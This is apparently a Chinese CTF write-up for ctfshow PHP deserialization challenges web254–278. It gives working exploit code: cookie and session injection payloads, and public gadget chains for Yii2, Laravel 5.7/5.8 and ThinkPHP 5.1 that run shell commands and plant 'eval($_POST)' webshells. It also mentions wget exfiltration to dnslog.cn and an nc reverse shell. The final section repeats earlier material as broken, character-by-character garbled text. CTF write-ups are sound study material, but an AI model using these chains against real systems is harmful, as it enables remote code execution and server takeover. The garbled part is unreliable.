web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){ //检测username是否等于$u,password同理;
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag; //输出flag位置;
}else{ echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){ //检测是否传入参数username和password;
$user = new ctfShowUser(); //new一个ctfShowUser;使得username和password为xxxxxx
if($user->login($username,$password)){
if($user->checkVip()){ //调用checkvip函数,为真则调用vipOneKeyGetFlag;
$user->vipOneKeyGetFlag(); }
}else{
echo "no vip,no flag";
}
}
?>
看完代码,我的考虑是先传入uesername和password参数,并且让这两个参数和login中设置的参数===;根据上面的分析,我们传入的参数都为xxxxxx就可以成功执行;
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){ //检测传参
$user = unserialize($_COOKIE['user']); //取回user的cookie值,并且进行反序列化
if($user->login($username,$password)){ //仍然是对参数的判断
if($user->checkVip()){
$user->vipOneKeyGetFlag();//获取flag位置
}
}else{
echo "no vip,no flag";
}
} ?>
先了解一下$_COOKIE这个函数,官方解释如下:通过 HTTP Cookies 方式传递给当前脚本的变量的数组。
做之前我的理解是可以设定这个user的cookie,并进行序列化,使得后面调用函数的等式成立;
setcookie(string $user,string $value=($username="xxxxxx",$password="xxxxxx"));
$user=serialize($_COOKIE['user']);
我的错误构想是这样的,看了一下大佬的WP,这里直接改isVip的状态为true就可以了
echo urlencode(serialize(new ctfShowUser()));
urlencode是防止不可见字符,然后进行一个序列化(因为这里是isVip=true),所以我们把拿到的输出作为user的cookie传入,并且保证username和password=xxxxxx即可;
web256
<?php
?>';
}}
$a =new ctfshowvip();
echo urlencode(serialize($a));
把得到的值传上去后,访问877.php,即可开始命令执行;
web262
第一段
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));//注意到我们这里可以逃逸一个字符
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
访问message.php
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这里看出来和刚开始几题差不多了;这里还要用到__字符串的逃逸__,简单的来说,就是要有字符串的替换,并且更长?这样通过我们多次的赋值,达到把payload注入的目的;写出来大概是这样;
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck', 'loveU',$msg);
}
$msg =new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$a = serialize($msg);
$b= filter($a);
echo base64_encode($b);
//{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
当310恰好为loveU的字符数时,我们就能达成污染的目的,成功把token污染为admin;
web263
index.php
error_reporting(0);//这里没有提示,猜测方法为PHP
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){ //这里有读session的操作,且limit的cookie我们可控,我们就可以对这里操作
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
inc.php
<?php
?>');
$a =serialize($fumo);
//O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();? >";s:6:"status";N;}
echo base64_encode('|'.$a);
//cookie:fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
最后下面的base64编码,就是我们要上传的cookie,上传后访问log-1.php,就可以执行命令了;
这里为什么要上传一个phpinfo()?
web264
<?php
# @message.php
error_reporting(0);
session_start();
class message{ //需要利用的类
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));//可以有字符串逃逸
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
session_start(); //默认为php方法
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg'])); //读session的操作
if($msg->token=='admin'){ //token要为admin
echo $flag;
}
}
我们的思路是,字符串逃逸出admin后,再利用session进行注入;
操作步骤:首页注入,message页面查看,因为读是在后一个页面,而存是在前一个页面;
web265
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
mt_rand() 使用 Mersenne Twister 算法返回随机整数。 语法 mt_rand(min,max) 说明 如果没有提供可选参数 min 和 max,mt_rand() 返回 0 到 RAND_MAX 之间的伪随机数。 例如想要 5 到 15(包括 5 和 15)之间的随机数,用 mt_rand(5, 15)。
我们这里只需要想办法过这个判断即可,这里用到了类似于C语言中指针的操作,我们在序列化之前,把password的地址指向token即可过===的判断;
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;//把地址指向token,这样token就恒等于password了
}
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin('123','123');
echo serialize($a);
web266
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){//我们需要执行这个销毁方法来拿到flag ;
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){//判断如果有,抛出错误
throw new Exception("Error $ctfshowo",1);
}
$a =new ctfshow('123','123');
echo serialize($a);
//O:7:"ctfshow":2:{s:8:"username";s:3:"123";s:8:"password";s:3:"123";}
//我们把它改为
//O:7:"ctfshow":2:{}
//运用到的原理:虽然我们被判断语句拦截抛出了错误,但是我们破化了这个序列化的结构,他仍然可以执行销毁的方法
web267
开始玩框架;
进入页面,只有一个登陆的地方可供我们操作,这里全用admin就可以登陆进去,当然也可以爆破;[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cqUkmRzD-1670055900036)(E:\笔记软件\笔记\viewsource.png)]
在提示下我们找到了序列化的入口,但是我们要怎么操作呢,这里就要利用到框架了,查看页面源代码,发现这里是yii框架,版本为2.0
直接去找公开的链子
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec'; //php函数
$this->id ="echo '<?php eval(\$_POST[a]);phpinfo();?>' > /var/www/html/basic/web/2.php"; //php函数的参数
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
可以shell_exec执行wget pwd|base64
.dnslog.cn,外带数据得到当前网站路径,这里不编码是带不出来的,得到当前网站的目录,再进行写shell操作;2.这里得外双引号内单引号
命令执行可以用system、shell_exec、exec、passthru,这里得一个一个试,这里passthru是有回显的,可以直接ls后,查flag;
也可以使用readfile,直接在根目录下读flag,也是有回显的;
web268
还是同样的框架,只不过上一条链子被过滤了,我们换下面这一条链子即可
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[a]);phpinfo();?>' > /var/www/html/basic/web/1.php");
echo(base64_encode(serialize($exp)));
}
web269
同上的第二条链子仍然是可以使用,这里应该是过滤了别的东西,我们测试一下;
passthru未过滤,仍然可以拿到flag;
readfile /flagsa也未被过滤;应该是过滤了其他链子,我们这个还能用;
web270
同上,应该也是过滤了别的链子,我们这里的链子还是能用;
web271
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:14:15
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:21:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('tac /flag'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>
Laravel 5.7的反序列化漏洞
web272
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('tac /f*');");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
Laravel5.8漏洞,需要用bp才能查看
web273
同上5.8漏洞,这条链子仍然可以用,可以直接用bp查看flag;也可以尝试一下带外,写入木马;
payload:
"<?php setcookie('pwd',shell_exec('pwd'));>?"
得到%2Fapp%2Fpublic%0A,解码得/app/public,我们就可以在该目录下写文件了;
payload:
<?php file_put_contents('/app/public/1.php','<?php eval(\$_POST[1]);?>');
然后就可以执行命令了
web274
查看页面源代码,可以找到我们反序列化的入口;这里很明显是一个TP5.1的框架,我们直接拿过来用就好;
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //这里的lin是临时文件的意思,需要用这个来传参
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
在lin中添加我们的命令即可;
web275
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这一题可以直接RCE,保证evilfile为true即可;
web276
这一题要用到phar反序列化以及竞争的知识;
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);//这里可以写入phar包
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//条件竞争,触发phar反序列化
echo 'work done';
}
}else{
echo 'where is flag?';
}
先生成一个phar包,在用脚本进行竞争就可返回值;
web277
查看页面源代码,我们可以找到后门; 这里是python的反序列化;
利用nc反弹shell,命令执行拿到flag
web278
同上,过滤了os.system
evilfile=true;
}
if(preg_match(‘/flag/i’, $this->filecontent)){
$this->evilfile=true;
}
return KaTeX parse error: Expected 'EOF', got '}' at position 21: …>evilfile; }̲ public fun…this->evilfile && KaTeX parse error: Expected '}', got 'EOF' at end of input: … system('rm '.this->filename);
}
}
}
if(isset($_GET[‘fn’])){
$content = file_get_contents(‘php://input’);
f
=
n
e
w
f
i
l
t
e
r
(
f = new filter(
f=newfilter(_GET[‘fn’],
c
o
n
t
e
n
t
)
;
i
f
(
content); if(
content);if(f->checkevil()===false){
file_put_contents($_GET[‘fn’],
c
o
n
t
e
n
t
)
;
/
/
这
里
可
以
写
入
p
h
a
r
包
c
o
p
y
(
content);//这里可以写入phar包 copy(
content);//这里可以写入phar包copy(_GET[‘fn’],md5(mt_rand()).‘.txt’);
unlink(
S
E
R
V
E
R
[
′
D
O
C
U
M
E
N
T
R
O
O
T
′
]
.
′
/
′
.
_SERVER['DOCUMENT_ROOT'].'/'.
SERVER[′DOCUMENTROOT′].′/′._GET[‘fn’]);//条件竞争,触发phar反序列化
echo ‘work done’;
}
}else{
echo ‘where is flag?’;
}
先生成一个phar包,在用脚本进行竞争就可返回值;
## web277
查看页面源代码,我们可以找到后门; 这里是python的反序列化;
利用nc反弹shell,命令执行拿到flag
## web278
同上,过滤了os.system